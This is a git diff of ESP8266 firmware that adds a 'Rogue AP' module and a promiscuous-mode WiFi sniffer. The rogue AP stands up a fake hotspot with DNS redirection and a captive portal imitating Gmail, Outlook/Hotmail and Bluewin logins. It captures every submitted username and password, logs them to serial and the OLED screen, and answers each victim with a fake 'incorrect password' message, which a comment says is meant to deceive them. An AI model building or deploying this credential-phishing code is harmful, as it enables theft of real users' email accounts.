currentRogueAPState = ROGUE_AP_STATE_RUNNING; + last_anim_time_rogue = millis(); // Reset animation timer + } else { + Serial.println("!!! Rogue AP: Failed to start SoftAP!"); + rogue_ap_stop(); // Cleanup on failure + } + needsRedraw = true; +} + +// --- Stop Rogue AP --- +void rogue_ap_stop() { + Serial.println("Rogue AP Stopping..."); + RogueAPState previousState = currentRogueAPState; + currentRogueAPState = ROGUE_AP_STATE_STOPPING; // Indicate stopping phase + + webServer_rogue.stop(); + dnsServer_rogue.stop(); + WiFi.softAPdisconnect(true); // Disconnect clients and stop AP + WiFi.mode(WIFI_STA); // Return to STA mode (standard practice) + WiFi.disconnect(); // Disconnect from any network + + active_ssid[0] = '\0'; // Clear active SSID + // Keep logs until explicitly cleared or next start + // captured_creds_count = 0; + // next_log_slot = 0; + // view_log_scroll_offset = 0; + // memset(captured_credentials_log, 0, sizeof(captured_credentials_log)); + + + Serial.println("Rogue AP Stopped."); + // Only go back to IDLE if we weren't already stopping/idle + if (previousState != ROGUE_AP_STATE_IDLE && previousState != ROGUE_AP_STATE_STOPPING) { + currentRogueAPState = ROGUE_AP_STATE_IDLE; + } + needsRedraw = true; +} + +// --- Main Update Loop --- +void rogue_ap_update() { + if (currentRogueAPState == ROGUE_AP_STATE_RUNNING) { + // Process network requests + dnsServer_rogue.processNextRequest(); + webServer_rogue.handleClient(); + + // Update UI elements (animation/capture alert) + unsigned long currentMillis = millis(); + + // Check if newly captured data alert needs reset + if (new_capture_flag && (currentMillis - capture_alert_start_time > CAPTURE_ALERT_DURATION)) { + new_capture_flag = false; + needsRedraw = true; // Redraw to remove alert effect + } + + // Update waiting animation if no captures yet + if (captured_creds_count == 0) { + if (currentMillis - last_anim_time_rogue > ROGUE_ANIM_INTERVAL) { + last_anim_time_rogue = currentMillis; + switch (waiting_anim_char_rogue) { + case '|': waiting_anim_char_rogue = '/'; break; + case '/': waiting_anim_char_rogue = '-'; break; + case '-': waiting_anim_char_rogue = '\\'; break; + case '\\': waiting_anim_char_rogue = '|'; break; + default: waiting_anim_char_rogue = '|'; + } + needsRedraw = true; + } + } + // No blinking effect for logged count in this version yet. + } + // No other background tasks needed for now + yield(); // Basic yield +} + +// --- Captive Portal HTML --- +const char* captivePortalHTML_Rogue = R"rawliteral( + + + + +Network Login + + + +
+

Secure Login Required

+

Gmail, Outlook/Hotmail, and Bluewin (Swisscom)

+

%s

+
+ + + + + +
+
+ + +)rawliteral"; + +// --- Helper to Send HTML (Chunked, similar to MitM) --- +void sendCaptivePortalHTML_Rogue(const char* error_message) { + const char* errorPlaceholderPos = strstr(captivePortalHTML_Rogue, "%s"); + + if (!errorPlaceholderPos) { + Serial.println("Rogue AP Web Helper: Error! Placeholder not found in HTML."); + webServer_rogue.send(500, "text/plain", "Internal Server Error: Portal template invalid."); + return; + } + + size_t part1Len = errorPlaceholderPos - captivePortalHTML_Rogue; + size_t errorLen = strlen(error_message); + size_t part2Len = strlen(errorPlaceholderPos + 2); + size_t totalLen = part1Len + errorLen + part2Len; + + webServer_rogue.setContentLength(totalLen); + webServer_rogue.send(200, "text/html", ""); // Send headers + + webServer_rogue.sendContent_P(captivePortalHTML_Rogue, part1Len); + webServer_rogue.sendContent(error_message, errorLen); + webServer_rogue.sendContent_P(errorPlaceholderPos + 2, part2Len); + + webServer_rogue.client().stop(); // Close connection + Serial.println("Rogue AP Web Helper: Finished sending chunked response."); +} + + +// --- Web Server Handlers --- +void handleRoot_Rogue() { + Serial.println("Rogue AP Web: Serving root page."); + // In this version, we always show the login page. + // Could add logic to show an error message on subsequent visits. + sendCaptivePortalHTML_Rogue(""); // Send with empty error message initially +} + +void handleLogin_Rogue() { + Serial.println("Rogue AP Web: Received POST to /login"); + + // Check if we have space to log more credentials + if (captured_creds_count >= MAX_ROGUE_LOGS) { + Serial.println("Rogue AP Web: Log full, ignoring new submission."); + // Redirect back with an error or generic message + sendCaptivePortalHTML_Rogue("Login temporarily unavailable. Please try again later."); + return; + } + + // Capture credentials + RogueCapturedCredentials& current_log = captured_credentials_log[next_log_slot]; + memset(¤t_log, 0, sizeof(RogueCapturedCredentials)); // Clear slot first + + if (webServer_rogue.hasArg("username")) strncpy(current_log.username, webServer_rogue.arg("username").c_str(), ROGUE_MAX_FIELD_LEN); + if (webServer_rogue.hasArg("password")) strncpy(current_log.password, webServer_rogue.arg("password").c_str(), ROGUE_MAX_FIELD_LEN); + + current_log.data_present = true; // Mark slot as containing data + + Serial.println("Rogue AP Web: Credentials captured:"); + Serial.printf(" User: %s \n Pass: %s\n", current_log.username, current_log.password); + + // Update log tracking + next_log_slot = (next_log_slot + 1) % MAX_ROGUE_LOGS; + captured_creds_count = min(captured_creds_count + 1, MAX_ROGUE_LOGS); // Increment count, cap at max + + // Trigger UI alert + new_capture_flag = true; + capture_alert_start_time = millis(); + needsRedraw = true; + + // Send a generic "incorrect password" or "connecting" message and redirect + // This makes the user think they mistyped or are being connected + sendCaptivePortalHTML_Rogue("Incorrect password or connection error. Please try again."); + + // Alternatively, redirect back to root immediately: + // webServer_rogue.sendHeader("Location", "/", true); + // webServer_rogue.send(302, "text/plain", "Redirecting..."); +} + +void handleNotFound_Rogue() { + Serial.println("Rogue AP Web: handleNotFound triggered, redirecting to root."); + webServer_rogue.sendHeader("Location", "/", true); // Redirect to root (captive portal trigger) + webServer_rogue.send(302, "text/plain", ""); +} + +// --- Draw Rogue AP UI --- +void rogue_ap_draw() { + oled.setFont(u8g2_font_6x10_tf); // Base font + + switch (currentRogueAPState) { + case ROGUE_AP_STATE_IDLE: + oled.drawStr(0, 25, "Rogue AP Ready"); + oled.setFont(u8g2_font_5x7_tf); // Smaller font for prompt + oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select SSID"); + break; + + case ROGUE_AP_STATE_SELECT_SSID: + { + // oled.drawStr(0, 20, "Select Rogue SSID:"); // Title position + int yPos = 22; // Start list higher + int line_height = 9; // Smaller line height for 5x7 font + const int items_per_page = 4; // Show 4 SSIDs + + oled.setFont(u8g2_font_5x7_tf); // Use smaller font for list + + for (int i = 0; i < items_per_page; ++i) { + int current_item_index = display_ssid_offset + i; + if (current_item_index >= ROGUE_AP_SSID_COUNT) break; + + char buffer[40]; + char select_char = (current_item_index == selected_ssid_index) ? '>' : ' '; + snprintf(buffer, sizeof(buffer), "%c %s", select_char, rogue_ap_ssid_options[current_item_index]); + oled.drawStr(0, yPos + (i * line_height), buffer); + } + + // Draw scroll indicators + if (ROGUE_AP_SSID_COUNT > items_per_page) { + if (display_ssid_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow (Adjust Y) + if (display_ssid_offset + items_per_page < ROGUE_AP_SSID_COUNT) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow + } + + oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Start AP"); + } + break; + + case ROGUE_AP_STATE_STARTING: + oled.drawStr(0, 35, "Starting Rogue AP..."); + break; + + case ROGUE_AP_STATE_RUNNING: + { + oled.setFont(u8g2_font_5x7_tf); // Use smaller font for the title + oled.drawStr(0, 22, "Rogue AP Active:"); // Moved down slightly + oled.setFont(u8g2_font_6x10_tf); // Set back to default font + oled.drawStr(4, 32, active_ssid); // Show active SSID + + char status_buffer[25]; + char footer_buffer[25]; + + bool show_alert = new_capture_flag && (millis() - capture_alert_start_time < CAPTURE_ALERT_DURATION); + + if (captured_creds_count > 0) { + snprintf(status_buffer, sizeof(status_buffer), "Captured: %d", captured_creds_count); + snprintf(footer_buffer, sizeof(footer_buffer), "S:View Logs L:Stop"); + } else { + snprintf(status_buffer, sizeof(status_buffer), "Waiting... %c", waiting_anim_char_rogue); + snprintf(footer_buffer, sizeof(footer_buffer), "LONG: Stop"); + } + + int status_y = 46; + if (show_alert) { + // Simple invert effect for capture alert + int text_width = oled.getStrWidth(status_buffer); + oled.setDrawColor(1); // Set color to foreground (white) + oled.drawBox(0, status_y - 10 + 1, text_width + 2, 10 + 1); // Draw white box behind text area + oled.setDrawColor(0); // Set color to background (black) for text + oled.drawStr(1, status_y, status_buffer); // Draw text slightly offset + oled.setDrawColor(1); // Reset draw color + } else { + oled.drawStr(0, status_y, status_buffer); // Draw normally + } + + oled.setFont(u8g2_font_5x7_tf); // Smaller font for footer + oled.drawStr(0, SCREEN_HEIGHT - 1, footer_buffer); + } + break; + + case ROGUE_AP_STATE_VIEW_LOGS: + { + // --- Draw Title Line --- + oled.setFont(u8g2_font_5x7_tf); // Use smaller font for title elements + int yPos = 22; // Starting Y for the title line + const char* titleText = "Captured Creds:"; + oled.drawStr(0, yPos, titleText); + int titleWidth = oled.getStrWidth(titleText); + + if (captured_creds_count > 0) { + char logCountBuffer[15]; + snprintf(logCountBuffer, sizeof(logCountBuffer), " Log %d/%d", + view_log_scroll_offset + 1, + captured_creds_count); + oled.drawStr(titleWidth + 2, yPos, logCountBuffer); // Draw next to title + } + yPos += 10; // Move down for next content line (adjust gap as needed) + + // --- Draw Log Content --- + if (captured_creds_count == 0) { + oled.setFont(u8g2_font_6x10_tf); // Back to default for message + oled.drawStr(10, 40, "[No Logs]"); + } else { + oled.setFont(u8g2_font_5x7_tf); // Keep smaller font for logs + int line_height = 8; // Height for 5x7 font + + // Draw scroll indicators (position adjusted slightly) + if (captured_creds_count > 1) { + if (view_log_scroll_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow + if (view_log_scroll_offset < captured_creds_count - 1) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow + } + + // Calculate actual index + int start_idx = (captured_creds_count <= MAX_ROGUE_LOGS) ? 0 : next_log_slot; + int actual_idx = (start_idx + view_log_scroll_offset) % MAX_ROGUE_LOGS; + const RogueCapturedCredentials& log = captured_credentials_log[actual_idx]; + + if (log.data_present) { + char userBuffer[ROGUE_MAX_FIELD_LEN + 15]; + snprintf(userBuffer, sizeof(userBuffer), "User: %s", log.username); + oled.drawStr(2, yPos, userBuffer); yPos += line_height; + + // Draw Password with wrapping + const char* passLabel = "Pass: "; + oled.drawStr(2, yPos, passLabel); // Draw label + int passLabelWidth = oled.getStrWidth(passLabel); + int passXOffset = 2 + passLabelWidth + 2; // X offset for password value + int maxCharsPerLine = 19; // Max chars before wrap + int passLen = strlen(log.password); + + char passChunkBuffer[maxCharsPerLine + 1]; + if (passLen > maxCharsPerLine) { + // First line + strncpy(passChunkBuffer, log.password, maxCharsPerLine); + passChunkBuffer[maxCharsPerLine] = '\0'; + oled.drawStr(passXOffset, yPos, passChunkBuffer); + yPos += line_height; // Move to next line + // Second line (remaining chars) + strncpy(passChunkBuffer, log.password + maxCharsPerLine, maxCharsPerLine); + passChunkBuffer[maxCharsPerLine] = '\0'; // Ensure termination even if passLen > 2*maxCharsPerLine + oled.drawStr(passXOffset, yPos, passChunkBuffer); // Draw indented + } else { + // No wrapping needed + oled.drawStr(passXOffset, yPos, log.password); + } + yPos += line_height + 2; // Extra gap after password block + + } else { + oled.setFont(u8g2_font_6x10_tf); // Back to default font for message + oled.drawStr(10, yPos + 5, "[Log Empty]"); // Adjusted position + } + } + oled.setFont(u8g2_font_5x7_tf); // Ensure footer uses small font + oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next Log L:Back"); + } + break; + + case ROGUE_AP_STATE_STOPPING: + oled.drawStr(0, 35, "Stopping Rogue AP..."); + break; + + default: + oled.drawStr(0, 35, "Rogue AP: Unknown State"); + break; + } +} + +// --- Handle Button Input --- +void rogue_ap_handle_input(ButtonPressType pressType) { + switch (currentRogueAPState) { + case ROGUE_AP_STATE_IDLE: + if (pressType == ButtonPressType::LONG_PRESS) { + currentRogueAPState = ROGUE_AP_STATE_SELECT_SSID; + selected_ssid_index = 0; // Reset selection + display_ssid_offset = 0; + needsRedraw = true; + } + break; + + case ROGUE_AP_STATE_SELECT_SSID: + { + const int items_per_page = 4; // Match drawing + if (pressType == ButtonPressType::SHORT_PRESS) { + // Scroll down through SSIDs + selected_ssid_index = (selected_ssid_index + 1) % ROGUE_AP_SSID_COUNT; + // Adjust display offset + if (selected_ssid_index < display_ssid_offset) display_ssid_offset = selected_ssid_index; // Wrap top + else if (selected_ssid_index >= display_ssid_offset + items_per_page) display_ssid_offset = selected_ssid_index - items_per_page + 1; // Scroll down + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + // Select SSID and attempt to start + rogue_ap_start(); + // State changes handled within rogue_ap_start() + } + } + break; + + case ROGUE_AP_STATE_RUNNING: + if (pressType == ButtonPressType::LONG_PRESS) { + rogue_ap_stop(); + } else if (pressType == ButtonPressType::SHORT_PRESS) { + // Enter log view only if logs exist + if (captured_creds_count > 0) { + currentRogueAPState = ROGUE_AP_STATE_VIEW_LOGS; + view_log_scroll_offset = 0; // Start at the first log + needsRedraw = true; + } + } + break; + + case ROGUE_AP_STATE_VIEW_LOGS: + if (pressType == ButtonPressType::LONG_PRESS) { + currentRogueAPState = ROGUE_AP_STATE_RUNNING; // Go back to running screen + needsRedraw = true; + } else if (pressType == ButtonPressType::SHORT_PRESS) { + // Scroll to the next log entry + if (captured_creds_count > 1) { // Only scroll if more than one + view_log_scroll_offset = (view_log_scroll_offset + 1) % captured_creds_count; + needsRedraw = true; + } + } + break; + + case ROGUE_AP_STATE_STARTING: + case ROGUE_AP_STATE_STOPPING: + // Ignore input during transitions + break; + + default: // Go back to idle on long press from unknown state + if (pressType == ButtonPressType::LONG_PRESS) { + currentRogueAPState = ROGUE_AP_STATE_IDLE; + needsRedraw = true; + } + break; + } +} \ No newline at end of file diff --git a/src/rogue_ap.h b/src/rogue_ap.h new file mode 100644 index 0000000..a67464e --- /dev/null +++ b/src/rogue_ap.h @@ -0,0 +1,45 @@ +#ifndef ROGUE_AP_H +#define ROGUE_AP_H + +#include +#include +#include "ui.h" // For ButtonPressType, UIState + +// --- Rogue AP States --- +typedef enum { + ROGUE_AP_STATE_IDLE, // Initial state, ready to select SSID + ROGUE_AP_STATE_SELECT_SSID, // User is selecting from the predefined list + ROGUE_AP_STATE_STARTING, // Setting up the AP and servers + ROGUE_AP_STATE_RUNNING, // AP is active, waiting for connections/credentials + ROGUE_AP_STATE_VIEW_LOGS, // Displaying captured credentials + ROGUE_AP_STATE_STOPPING // Shutting down the AP and servers +} RogueAPState; + +// --- Constants --- +#define ROGUE_AP_SSID_COUNT 17 +#define MAX_ROGUE_LOGS 5 // Max number of credential sets to store +#define ROGUE_MAX_FIELD_LEN 64 // Max length for username/password fields + +// --- Structure for Captured Credentials --- +typedef struct { + char username[ROGUE_MAX_FIELD_LEN + 1]; // Single username/email field + char password[ROGUE_MAX_FIELD_LEN + 1]; // Single password field + bool data_present; // Flag to check if this entry contains captured data +} RogueCapturedCredentials; + + +// --- External Variables (Defined in .cpp) --- +extern const char* rogue_ap_ssid_options[ROGUE_AP_SSID_COUNT]; +extern RogueAPState currentRogueAPState; +extern RogueCapturedCredentials captured_credentials_log[MAX_ROGUE_LOGS]; +extern int captured_creds_count; // How many sets have been captured + +// --- Function Declarations --- +void rogue_ap_init(); +void rogue_ap_start(); // Function to initiate the AP start sequence +void rogue_ap_stop(); +void rogue_ap_update(); +void rogue_ap_draw(); +void rogue_ap_handle_input(ButtonPressType pressType); + +#endif // ROGUE_AP_H \ No newline at end of file diff --git a/src/scanner.cpp b/src/scanner.cpp new file mode 100644 index 0000000..e724d22 --- /dev/null +++ b/src/scanner.cpp @@ -0,0 +1,412 @@ +#include "scanner.h" +#include "config.h" +#include "utils.h" +#include "ui.h" +#include +#include + +// --- Global Variable Definitions --- +AccessPointInfo ap_list[MAX_APS]; +uint8_t ap_count = 0; +StationInfo sta_list[MAX_STAS]; +uint8_t sta_count = 0; +uint8_t current_channel = DEFAULT_WIFI_CHANNEL; +bool scanner_active = false; +static unsigned long last_channel_hop_time = 0; +static int selected_list_index = 0; +static int display_offset = 0; + +// --- External UI Elements --- +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; +extern bool needsRedraw; + +// --- Initialization --- +void scanner_init() { + Serial.println("Scanner Initialized."); + ap_count = 0; + sta_count = 0; + scanner_active = false; + selected_list_index = 0; + display_offset = 0; + needsRedraw = true; +} + +// --- Stop Scanner --- +void scanner_stop() { + if (scanner_active) { + Serial.println("Stopping Scanner..."); + wifi_promiscuous_enable(0); + scanner_active = false; + Serial.println("Scanner Stopped."); + needsRedraw = true; + } else { + Serial.println("Scanner already stopped."); + } +} + +// --- Main Update Loop --- +void scanner_update() { + if (!scanner_active) { + Serial.println("Scanner Update: Enabling promiscuous mode."); + wifi_set_opmode(STATION_MODE); + wifi_set_promiscuous_rx_cb(packet_capture_callback); + wifi_promiscuous_enable(1); + scanner_set_channel(current_channel); + scanner_active = true; + last_channel_hop_time = millis(); + } + + unsigned long current_time = millis(); + + if (current_time - last_channel_hop_time > SCAN_CHANNEL_HOP_INTERVAL) { + current_channel++; + if (current_channel > 13) { + current_channel = 1; + } + scanner_set_channel(current_channel); + last_channel_hop_time = current_time; + needsRedraw = true; + } +} + +// --- Set WiFi Channel --- +void scanner_set_channel(uint8_t channel) { + if (channel < 1 || channel > 14) { + Serial.printf("Invalid channel: %d\n", channel); + return; + } + current_channel = channel; + wifi_set_channel(current_channel); +} + +// --- Packet Capture Callback (Called by SDK) --- +void packet_capture_callback(uint8_t *buf, uint16_t len) { + if (!scanner_active || buf == nullptr || len <= sizeof(wifi_promiscuous_pkt_t)) { + return; + } + + wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t*)buf; + process_wifi_packet(packet->payload, len - sizeof(wifi_pkt_rx_ctrl_t)); +} + +// --- Process Captured WiFi Packet --- +void process_wifi_packet(uint8_t *payload, uint16_t payload_len) { + if (payload_len < sizeof(mac_header_t)) { + return; + } + + mac_header_t *header = (mac_header_t*)payload; + wifi_promiscuous_pkt_t *packet = nullptr; + if (payload >= (uint8_t*)sizeof(wifi_pkt_rx_ctrl_t)) { + packet = (wifi_promiscuous_pkt_t*)(payload - sizeof(wifi_pkt_rx_ctrl_t)); + } else { + Serial.println("ERROR: Cannot calculate packet pointer!"); + return; + } + + if (packet == nullptr) { + Serial.println("ERROR: Invalid packet pointer calculated!"); + return; + } + + int8_t rssi = packet->rx_ctrl.rssi; + uint8_t channel = packet->rx_ctrl.channel; + + uint8_t type = header->frame_control.type; + uint8_t subtype = header->frame_control.subtype; + + // Identify APs (Beacons and Probe Responses) + if (type == 0 && (subtype == 0x08 || subtype == 0x05)) { + uint16_t expected_min_len = sizeof(mac_header_t) + sizeof(beacon_probe_fixed_params_t); + if (payload_len >= expected_min_len) { + beacon_probe_fixed_params_t *params = (beacon_probe_fixed_params_t*)(payload + sizeof(mac_header_t)); + uint8_t* tagged_params_start = payload + sizeof(mac_header_t) + sizeof(beacon_probe_fixed_params_t); + uint16_t tagged_params_len = payload_len - expected_min_len; + add_or_update_ap(header, params, rssi, channel, tagged_params_start, tagged_params_len); + needsRedraw = true; + } else { + } + } + // Identify Stations (From various frame types) + else { + if (header->addr2[0] != 0xFF && header->addr2[0] != 0x01) { + uint8_t* bssid = nullptr; + if (header->frame_control.flags & 0x01) { + bssid = header->addr1; + } else if (header->frame_control.flags & 0x02) { + bssid = header->addr3; + } else { + if (header->addr3[0] != 0xFF && header->addr3[0] != 0x01) { + bssid = header->addr3; + } + } + if (bssid && bssid[0] != 0xFF && bssid[0] != 0x01 && bssid[0] != 0x00) { + add_or_update_sta(header->addr2, bssid, rssi); + needsRedraw = true; + } + } + } +} + +// --- Find Existing AP by BSSID --- +int find_ap(const uint8_t* bssid) { + for (int i = 0; i < ap_count; ++i) { + if (memcmp(ap_list[i].bssid, bssid, 6) == 0) { + return i; + } + } + return -1; +} + +// --- Find Existing Station by MAC --- +int find_sta(const uint8_t* mac) { + for (int i = 0; i < sta_count; ++i) { + if (memcmp(sta_list[i].mac, mac, 6) == 0) { + return i; + } + } + return -1; +} + +// --- Add or Update Access Point Info --- +void add_or_update_ap(const mac_header_t* header, const beacon_probe_fixed_params_t* params, int8_t rssi, uint8_t channel, const uint8_t* tagged_params, uint16_t tagged_params_len) { + const uint8_t* bssid = header->addr3; + int index = find_ap(bssid); + + if (index == -1) { + if (ap_count < MAX_APS) { + index = ap_count; + memcpy(ap_list[index].bssid, bssid, 6); + ap_list[index].ssid[0] = '\0'; + ap_list[index].packet_count = 0; + ap_count++; + Serial.printf("New AP: %s (RSSI: %d, Ch: %d)\n", macToString(bssid).c_str(), rssi, channel); + } else { + return; + } + } else { + } + + ap_list[index].rssi = rssi; + ap_list[index].channel = channel; + ap_list[index].last_seen = millis(); + ap_list[index].packet_count++; + ap_list[index].selected = false; + + // Parse Tagged Parameters for SSID + uint16_t pos = 0; + bool ssid_found = false; + + while (pos + 1 < tagged_params_len) { + uint8_t tag_num = tagged_params[pos]; + uint8_t tag_len = tagged_params[pos + 1]; + + if (pos + 2 + tag_len > tagged_params_len) { + break; + } + + if (tag_num == 0) { + ssid_found = true; + if (tag_len == 0) { + ap_list[index].ssid[0] = '\0'; + } else { + uint16_t copy_len = (tag_len >= MAX_SSID_LEN) ? (MAX_SSID_LEN - 1) : tag_len; + if (pos + 2 + copy_len <= tagged_params_len) { + memcpy(ap_list[index].ssid, tagged_params + pos + 2, copy_len); + ap_list[index].ssid[copy_len] = '\0'; + } else { + ap_list[index].ssid[0] = '\0'; + } + } + } + + pos += 2 + tag_len; + } + + if (!ssid_found) { + ap_list[index].ssid[0] = '\0'; + } + + ap_list[index].encryption = get_encryption_type(params->capability_info, tagged_params, tagged_params_len); +} + +// --- Add or Update Station Info --- +void add_or_update_sta(const uint8_t* mac, const uint8_t* bssid, int8_t rssi) { + int index = find_sta(mac); + + if (index == -1) { + if (sta_count < MAX_STAS) { + index = sta_count; + memcpy(sta_list[index].mac, mac, 6); + sta_list[index].packet_count = 0; + sta_count++; + Serial.printf("New STA: %s (AP: %s)\n", macToString(mac).c_str(), macToString(bssid).c_str()); + } else { + return; + } + } + + sta_list[index].rssi = rssi; + sta_list[index].last_seen = millis(); + sta_list[index].packet_count++; + sta_list[index].selected = false; + memcpy(sta_list[index].bssid_ap, bssid, 6); +} + + +// --- Determine Encryption Type --- +EncryptionType get_encryption_type(const uint16_t capabilities, const uint8_t* tagged_params, uint16_t tagged_params_len) { + bool privacy_bit = capabilities & 0x0010; + + if (!privacy_bit) { + return EncryptionType::OPEN; + } + + bool found_wpa = false; + bool found_rsn = false; + + uint16_t pos = 0; + while (pos + 1 < tagged_params_len) { + uint8_t tag_num = tagged_params[pos]; + uint8_t tag_len = tagged_params[pos + 1]; + + if (pos + 2 + tag_len > tagged_params_len) { + break; + } + + if (tag_num == 0xDD && tag_len >= 4) { + if (tagged_params[pos + 2] == 0x00 && tagged_params[pos + 3] == 0x50 && + tagged_params[pos + 4] == 0xF2 && tagged_params[pos + 5] == 0x01) { + found_wpa = true; + } + } + else if (tag_num == 0x30 && tag_len >= 2) { + found_rsn = true; + } + + pos += 2 + tag_len; + } + + if (found_rsn && found_wpa) { + return EncryptionType::WPA_WPA2_PSK; + } + if (found_rsn) { + return EncryptionType::WPA2_PSK; + } + if (found_wpa) { + return EncryptionType::WPA_PSK; + } + return EncryptionType::WEP; +} + +// --- Convert Encryption Enum to String --- +String encryption_to_string(EncryptionType enc) { + switch (enc) { + case EncryptionType::OPEN: return "Open"; + case EncryptionType::WEP: return "WEP"; + case EncryptionType::WPA_PSK: return "WPA"; + case EncryptionType::WPA2_PSK: return "WPA2"; + case EncryptionType::WPA_WPA2_PSK: return "WPA/2"; + case EncryptionType::WPA2_ENTERPRISE: return "WPA2-E"; + default: return "Unkn"; + } +} + +// --- Draw Scanner UI --- +void scanner_draw() { + oled.setFont(u8g2_font_5x7_tf); + + char buffer[40]; + snprintf(buffer, sizeof(buffer), "Ch:%d APs:%d STAs:%d", current_channel, ap_count, sta_count); + oled.drawStr(0, 23, buffer); + + oled.drawHLine(0, 25, SCREEN_WIDTH); + + int yPos = 33; + int line_height = 8; + int total_items = ap_count + sta_count; + + const int lines_per_item = 2; + const int gap_between_items = 1; + const int item_block_height = (line_height * lines_per_item) + gap_between_items; + const int items_to_display = 2; + + for (int i = 0; i < items_to_display; ++i) { + int current_item_index = display_offset + i; + if (current_item_index >= total_items) break; + + bool is_selected = (current_item_index == selected_list_index); + const char* select_char = is_selected ? ">" : " "; + + if (current_item_index < ap_count) { + AccessPointInfo* ap = &ap_list[current_item_index]; + ap->selected = is_selected; + + String encStr = encryption_to_string(ap->encryption); + snprintf(buffer, sizeof(buffer), "%s%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str()); + oled.drawStr(0, yPos, buffer); + + snprintf(buffer, sizeof(buffer), " %s R:%d", macToString(ap->bssid).c_str(), ap->rssi); + oled.drawStr(0, yPos + line_height, buffer); + + } else { + int sta_index = current_item_index - ap_count; + StationInfo* sta = &sta_list[sta_index]; + sta->selected = is_selected; + + snprintf(buffer, sizeof(buffer), "%s%s R:%d", select_char, macToString(sta->mac).c_str(), sta->rssi); + oled.drawStr(0, yPos, buffer); + + if (sta->bssid_ap[0] != 0 || sta->bssid_ap[1] != 0) { + snprintf(buffer, sizeof(buffer), " AP: %s", macToString(sta->bssid_ap).c_str()); + oled.drawStr(0, yPos + line_height, buffer); + } else { + oled.drawStr(0, yPos + line_height, " AP: [Scanning...]"); + } + } + yPos += item_block_height; + } + + if (total_items > items_to_display) { + if (display_offset > 0) { + oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); + } + if (display_offset + items_to_display < total_items) { + oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5); + } + } +} + +// --- Handle Button Input for Scanner Mode --- +void scanner_handle_input(ButtonPressType pressType) { + if (!scanner_active) return; + + if (pressType != ButtonPressType::NO_PRESS) { + } + + int total_items = ap_count + sta_count; + if (total_items == 0 && pressType != ButtonPressType::LONG_PRESS) return; + + const int items_per_page = 2; + + if (pressType == ButtonPressType::SHORT_PRESS) { + selected_list_index = (selected_list_index + 1) % total_items; + + if (selected_list_index < display_offset) { + display_offset = selected_list_index; + } else if (selected_list_index >= display_offset + items_per_page) { + display_offset = selected_list_index - items_per_page + 1; + if (display_offset > total_items - items_per_page) { + display_offset = total_items - items_per_page; + } + } + if (display_offset < 0) display_offset = 0; + + needsRedraw = true; + } else if (pressType == ButtonPressType::LONG_PRESS) { + scanner_stop(); + currentState = UIState::MAIN_MENU; + currentMenuIndex = 0; + needsRedraw = true; + } +} \ No newline at end of file diff --git a/src/scanner.h b/src/scanner.h new file mode 100644 index 0000000..46d848d --- /dev/null +++ b/src/scanner.h @@ -0,0 +1,148 @@ +#ifndef SCANNER_H +#define SCANNER_H + +#include +#include // For WiFi functions and types +#include "config.h" // Include config for other potential settings +#include "ui.h" // For ButtonPressType +#include + +// --- Constants --- +#define MAX_APS 50 // Maximum number of APs to store +#define MAX_STAS 30 // Maximum number of STAs to store +#define MAX_SSID_LEN 32 +#define SCAN_CHANNEL_HOP_INTERVAL 500 // ms +#define MAX_DISPLAY_LINES 4 // Number of APs/STAs to show on screen at once +#define SCAN_CHANNEL_TIME 150 // ms per channel +#define SCAN_PROBE_DELAY 10 // ms between probe requests + +// --- WiFi Packet Structures (Simplified) --- +// Structure for the basic 802.11 frame control field +typedef struct { + uint8_t protocol_version : 2; + uint8_t type : 2; + uint8_t subtype : 4; + uint8_t flags; +} __attribute__((packed)) frame_control_t; + +// Structure for the standard 802.11 MAC header (adjust based on frame type) +typedef struct { + frame_control_t frame_control; + uint16_t duration_id; + uint8_t addr1[6]; // Receiver MAC + uint8_t addr2[6]; // Transmitter MAC + uint8_t addr3[6]; // BSSID or Source/Dest MAC depending on frame type + uint16_t seq_ctrl; + // Optional fields like addr4, QoS control, HT control follow +} __attribute__((packed)) mac_header_t; + +// Structure for Beacon/Probe Response fixed parameters +typedef struct { + uint64_t timestamp; + uint16_t beacon_interval; + uint16_t capability_info; + // Tagged parameters follow (SSID, Rates, Channel, etc.) +} __attribute__((packed)) beacon_probe_fixed_params_t; + +// Structure to hold SDK packet info +typedef struct { + signed rssi : 8; // signal intensity of packet + unsigned rate : 4; // data rate + unsigned is_group : 1; + unsigned : 1; // reserve + unsigned sig_mode : 2; // 0:is not 11n packet; 1:is 11n packet + unsigned legacy_length : 12; // if not 11n packet, shows length of packet. + unsigned damatch0 : 1; + unsigned damatch1 : 1; + unsigned bssidmatch0 : 1; + unsigned bssidmatch1 : 1; + unsigned mcs : 7; // if is 11n packet, shows the modulation and code scheme index + unsigned cwb : 1; // if is 11n packet, shows the channel bandwidth + unsigned ht_length : 16; // if is 11n packet, shows length + unsigned smoothing : 1; + unsigned not_sounding : 1; + unsigned : 1; // reserve + unsigned aggregation : 1; // aggregation + unsigned stbc : 2; // space time block code + unsigned fec_coding : 1; // forward error correction code + unsigned sgi : 1; // short guide interval + unsigned rxend_state : 8; + unsigned ampdu_cnt : 8; + unsigned channel : 4; // channel number + unsigned : 12; // reserve +} wifi_pkt_rx_ctrl_t; + +typedef struct { + wifi_pkt_rx_ctrl_t rx_ctrl; + uint8_t payload[0]; 